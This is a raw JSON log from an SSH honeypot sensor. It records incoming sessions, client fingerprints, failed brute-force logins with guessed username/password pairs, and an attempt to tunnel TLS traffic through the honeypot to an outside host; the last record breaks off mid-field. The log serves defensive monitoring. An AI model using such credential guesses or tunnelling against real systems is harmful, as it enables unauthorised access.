{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:06.128935Z","src_ip":"123.27.168.40","session":"dc71650cec4c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x12\\x07\\x8b}\\\\\\xc1\\xe96q\\x9fS:\\x04\\x81a\\x7f\\xaa\\xe2\\x95+\\xa1\\x858\\xf1\\xd3(\\xcb\\x7f\\xa0\\x1e\\x0e\\xa5 \\x8d\\xec(\\xe8\\x83<\\xb6\\xae\\xe7\\xec\\x02\\xe78\\x02\\x13\\xbc2\\x1en\\xb2+\\x0b\\xcd\"\\x05\\xc0\\xc7\"%\\xe8\\x84\\x9a\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x98\\xee\\x15\\xa5\\x99{\\xb1cT\\xd8z\\xc6\\xfaBe[\\xabm\\x1d\\x04B\\x9cu\\'W\\xe2\\xaf\\xd0.\\x83\\xac\\x7f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x12\\x07\\x8b}\\\\\\xc1\\xe96q\\x9fS:\\x04\\x81a\\x7f\\xaa\\xe2\\x95+\\xa1\\x858\\xf1\\xd3(\\xcb\\x7f\\xa0\\x1e\\x0e\\xa5 \\x8d\\xec(\\xe8\\x83<\\xb6\\xae\\xe7\\xec\\x02\\xe78\\x02\\x13\\xbc2\\x1en\\xb2+\\x0b\\xcd\"\\x05\\xc0\\xc7\"%\\xe8\\x84\\x9a\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x98\\xee\\x15\\xa5\\x99{\\xb1cT\\xd8z\\xc6\\xfaBe[\\xabm\\x1d\\x04B\\x9cu\\'W\\xe2\\xaf\\xd0.\\x83\\xac\\x7f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:06.133595Z","src_ip":"123.27.168.40","session":"dc71650cec4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:06.333650Z","src_ip":"45.153.34.195","session":"5d437688d23d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:06.617044Z","session":"dc71650cec4c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:06.862943Z","src_ip":"123.27.168.40","session":"dc71650cec4c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x18\\xde1\\xf7\\xf1\\xec=R\\xd2\\xd2%\\x0fG\\x1e\\xaa\\x1c\\xb7\\x87\\xc9_-\\xf2\\xfa\\x93\\xe0\\xb4\\xac\\xb4\\x93\\xc8,\\xf1 \\x04\\x07\\xc5\\xf2v\\x1b$\\xe5\\xa2\\x07B\\xa4QZW\\r\\xc6\\xd4\\x98\\xa3^\\xc4\\x18,\\xe1\\'*\\x08\\x00^\\x9f7\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf5\\xaah\\xdf\\xbd\\xed\\x044\\':\\x1c\\xee\\x98\\xbb\\xf3m\\xb8O\\x94\\xda\\xa6\\xc4MV\\xbf$\\xc0\\xc8oB\\x16)\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x18\\xde1\\xf7\\xf1\\xec=R\\xd2\\xd2%\\x0fG\\x1e\\xaa\\x1c\\xb7\\x87\\xc9_-\\xf2\\xfa\\x93\\xe0\\xb4\\xac\\xb4\\x93\\xc8,\\xf1 \\x04\\x07\\xc5\\xf2v\\x1b$\\xe5\\xa2\\x07B\\xa4QZW\\r\\xc6\\xd4\\x98\\xa3^\\xc4\\x18,\\xe1\\'*\\x08\\x00^\\x9f7\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf5\\xaah\\xdf\\xbd\\xed\\x044\\':\\x1c\\xee\\x98\\xbb\\xf3m\\xb8O\\x94\\xda\\xa6\\xc4MV\\xbf$\\xc0\\xc8oB\\x16)\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:06.866029Z","src_ip":"123.27.168.40","session":"dc71650cec4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:07.241315Z","src_ip":"123.27.168.40","session":"dc71650cec4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":48150,"dst_ip":"10.17.0.5","dst_port":22,"session":"249757e05583","protocol":"ssh","message":"New connection: 45.153.34.195:48150 (10.17.0.5:22) [session: 249757e05583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:07.942795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:07.949108Z","src_ip":"45.153.34.195","session":"249757e05583","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:08.039182Z","src_ip":"45.153.34.195","session":"249757e05583","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":60430,"dst_ip":"10.17.0.5","dst_port":22,"session":"6db4d0503c83","protocol":"ssh","message":"New connection: 91.92.40.36:60430 (10.17.0.5:22) [session: 6db4d0503c83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:08.137681Z"}
{"eventid":"cowrie.login.failed","username":"andreas","password":"andreas","message":"login attempt [andreas/andreas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:08.306748Z","src_ip":"45.153.34.195","session":"249757e05583","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:09.490689Z","src_ip":"45.153.34.195","session":"249757e05583","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:10.209051Z","src_ip":"91.92.40.36","session":"6db4d0503c83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:10.229305Z","src_ip":"91.92.40.36","session":"6db4d0503c83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":48166,"dst_ip":"10.17.0.5","dst_port":22,"session":"5971bf7ceca7","protocol":"ssh","message":"New connection: 45.153.34.195:48166 (10.17.0.5:22) [session: 5971bf7ceca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:10.705550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:10.730601Z","src_ip":"45.153.34.195","session":"5971bf7ceca7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:10.913644Z","src_ip":"45.153.34.195","session":"5971bf7ceca7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"123456","message":"login attempt [martin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:11.109463Z","src_ip":"91.92.40.36","session":"c7db1c460862","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:11.336942Z","src_ip":"45.153.34.195","session":"5971bf7ceca7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:12.541580Z","src_ip":"45.153.34.195","session":"5971bf7ceca7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":45008,"dst_ip":"10.17.0.5","dst_port":22,"session":"755f28652ce7","protocol":"ssh","message":"New connection: 45.153.34.195:45008 (10.17.0.5:22) [session: 755f28652ce7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:13.631243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:13.640825Z","src_ip":"45.153.34.195","session":"755f28652ce7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"k